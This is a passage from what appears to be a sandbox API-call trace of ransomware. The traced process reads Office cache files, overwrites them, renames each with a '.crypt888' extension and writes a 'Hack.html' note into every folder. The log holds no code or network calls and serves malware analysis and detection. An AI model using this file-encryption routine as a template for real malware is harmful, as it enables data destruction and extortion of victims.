Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.053] GetFileType (hFile=0x258) returned 0x1 [0067.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0067.053] GetFileType (hFile=0x258) returned 0x1 [0067.053] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x543 [0067.053] ReadFile (in: hFile=0x258, lpBuffer=0x29d31dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x29d31dc*, lpNumberOfBytesRead=0x39ed24*=0x543, lpOverlapped=0x0) returned 1 [0067.076] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0067.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.078] GetFileType (hFile=0x258) returned 0x1 [0067.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0067.078] GetFileType (hFile=0x258) returned 0x1 [0067.078] WriteFile (in: hFile=0x258, lpBuffer=0x2a22b78*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2a22b78*, lpNumberOfBytesWritten=0x39ece8*=0x550, lpOverlapped=0x0) returned 1 [0067.079] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.079] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.crypt888", lpFilePart=0x0) returned 0x5a [0067.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0067.079] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xb92f8340, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x550)) returned 1 [0067.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0067.079] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.crypt888")) returned 1 [0067.087] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Hack.html", lpFilePart=0x0) returned 0x51 [0067.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0067.087] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.088] GetFileType (hFile=0x258) returned 0x1 [0067.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0067.088] GetFileType (hFile=0x258) returned 0x1 [0067.089] WriteFile (in: hFile=0x258, lpBuffer=0x2a255f8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2a255f8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0067.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.090] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFilePart=0x0) returned 0x47 [0067.090] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpFilePart=0x0) returned 0x48 [0067.090] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0067.090] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.091] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.091] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.091] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.091] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.091] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0067.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.092] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFilePart=0x0) returned 0x47 [0067.092] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpFilePart=0x0) returned 0x48 [0067.092] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0067.092] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.092] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.092] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.092] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.093] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.093] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0067.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.093] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0067.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.093] GetFileType (hFile=0x258) returned 0x1 [0067.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0067.093] GetFileType (hFile=0x258) returned 0x1 [0067.093] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x5b1 [0067.094] ReadFile (in: hFile=0x258, lpBuffer=0x2a29028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2a29028*, lpNumberOfBytesRead=0x39ed24*=0x5b1, lpOverlapped=0x0) returned 1 [0067.125] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0067.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.126] GetFileType (hFile=0x258) returned 0x1 [0067.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0067.126] GetFileType (hFile=0x258) returned 0x1 [0067.126] WriteFile (in: hFile=0x258, lpBuffer=0x2a78bf4*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2a78bf4*, lpNumberOfBytesWritten=0x39ece8*=0x5c0, lpOverlapped=0x0) returned 1 [0067.127] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.127] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.crypt888", lpFilePart=0x0) returned 0x5a [0067.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0067.127] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb936a760, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5c0)) returned 1 [0067.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0067.127] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.crypt888")) returned 1 [0067.132] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Hack.html", lpFilePart=0x0) returned 0x51 [0067.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0067.133] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.133] GetFileType (hFile=0x258) returned 0x1 [0067.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0067.133] GetFileType (hFile=0x258) returned 0x1 [0067.133] WriteFile (in: hFile=0x258, lpBuffer=0x2a7b674*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2a7b674*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0067.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.134] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFilePart=0x0) returned 0x47 [0067.134] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpFilePart=0x0) returned 0x48 [0067.134] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a568 [0067.134] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.135] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.135] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.135] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.135] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.135] FindClose (in: hFindFile=0x59a568 | out: hFindFile=0x59a568) returned 1 [0067.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.135] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFilePart=0x0) returned 0x47 [0067.135] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpFilePart=0x0) returned 0x48 [0067.135] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a568 [0067.136] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.136] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.136] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.136] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.136] FindNextFileW (in: hFindFile=0x59a568, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.136] FindClose (in: hFindFile=0x59a568 | out: hFindFile=0x59a568) returned 1 [0067.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.137] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0067.137] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.137] GetFileType (hFile=0x258) returned 0x1 [0067.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0067.137] GetFileType (hFile=0x258) returned 0x1 [0067.137] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x5b2 [0067.137] ReadFile (in: hFile=0x258, lpBuffer=0x2a7f0a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2a7f0a4*, lpNumberOfBytesRead=0x39ed24*=0x5b2, lpOverlapped=0x0) returned 1 [0067.168] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0067.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.169] GetFileType (hFile=0x258) returned 0x1 [0067.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0067.169] GetFileType (hFile=0x258) returned 0x1 [0067.169] WriteFile (in: hFile=0x258, lpBuffer=0x2acec70*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2acec70*, lpNumberOfBytesWritten=0x39ece8*=0x5c0, lpOverlapped=0x0) returned 1 [0067.170] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.170] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.crypt888", lpFilePart=0x0) returned 0x5a [0067.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0067.171] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb93b6a20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5c0)) returned 1 [0067.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0067.171] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.crypt888")) returned 1 [0067.174] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Hack.html", lpFilePart=0x0) returned 0x51 [0067.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0067.174] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.175] GetFileType (hFile=0x258) returned 0x1 [0067.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0067.175] GetFileType (hFile=0x258) returned 0x1 [0067.175] WriteFile (in: hFile=0x258, lpBuffer=0x2ad16f0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2ad16f0*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0067.176] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.177] GetFileType (hFile=0x258) returned 0x1 [0067.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.177] GetFileType (hFile=0x258) returned 0x1 [0067.177] WriteFile (in: hFile=0x258, lpBuffer=0x2ad3f18*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2ad3f18*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.178] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, 